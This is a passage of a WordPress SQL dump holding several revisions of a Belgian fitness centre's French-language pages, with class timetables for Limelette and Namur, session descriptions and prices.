class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n\r\n\r\n&lt;strong&gt;Réserver vos séances de Team Training en ligne :&lt;/strong&gt; &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:31:03', '2014-02-09 20:31:03', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(428, 1, '2014-02-09 20:33:04', '2014-02-09 20:33:04', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation de séances :&lt;/h2&gt;\r\n&lt;strong&gt;Réserver vos séances de Team Training en ligne :&lt;/strong&gt; &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:33:04', '2014-02-09 20:33:04', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(429, 1, '2014-02-09 20:36:26', '2014-02-09 20:36:26', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Namur\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-namur/\&quot;&gt;Namur&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nLimelette\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Limelette :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 3 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;&lt;/b&gt;18h\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h45&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nCircuit training&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRenforcement musculaire&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCardio&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;&lt;strong&gt;Cardio&lt;/strong&gt;&lt;/span&gt;: Circuit permettant de développer votre endurance musculaire et cardiovasculaire! Idéal pour brûler un maximum de calories et perdre du poids (conseillé avec un programme alimentaire)!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;&lt;strong&gt;Circuit training&lt;/strong&gt;&lt;/span&gt;: Travaillez de manière fun sur un circuit ultra-complet, accessible à tous et adapté à votre niveau! Relevez des challenges et augmentez votre confiance en vous!\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;Renforcement musculaire&lt;/strong&gt;&lt;/span&gt;: Excellent circuit pour raffermir, muscler votre corps en profondeur avec ou sans prise de volume! Vous utiliserez entre autre le TRX suspension training (méthode d\'entrainement révolutionnaire basée sur le poids du corps), le Rip Trainer, le kettlebell...\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Réservation des séances :&lt;/h2&gt;\r\nRéserver vos séances de Team Training en ligne : &lt;a href=\&quot;http://reservation.crosstrainingcenter.be\&quot;&gt;http://reservation.crosstrainingcenter.be&lt;/a&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Duo Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Personal Training - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Coaching nutritionnel - Limelette :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances - Limelette', '', 'inherit', 'open', 'open', '', '361-revision-v1', '', '', '2014-02-09 20:36:26', '2014-02-09 20:36:26', '', 361, 'http://www.crosstrainingcenter.be/361-revision-v1/', 0, 'revision', '', 0),
(430, 1, '2014-02-09 20:37:08', '2014-02-09 20:37:08', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenuhoover\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\nNamur\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;sousmenu\&quot;&gt;\r\n&lt;div align=\&quot;center\&quot;&gt;\r\n\r\n&lt;a title=\&quot;Les séances – Limelette\&quot; href=\&quot;http://www.crosstrainingcenter.be/les-seances-limelette/\&quot;&gt;Limelette&lt;/a&gt;\r\n\r\n&lt;/div&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;h1&gt;&amp;nbsp;&lt;/h1&gt;\r\n&lt;h1&gt;Team Training - Namur :&lt;/h1&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;11h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h00&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCircuit&lt;/td&gt;\r\n&lt;td class=\&quot;tzumba\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\n&lt;img class=\&quot;size-full wp-image-409 aligncenter\&quot; alt=\&quot;zumba3\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/11/zumba3.jpg\&quot; width=\&quot;70\&quot; height=\&quot;24\&quot; /&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum 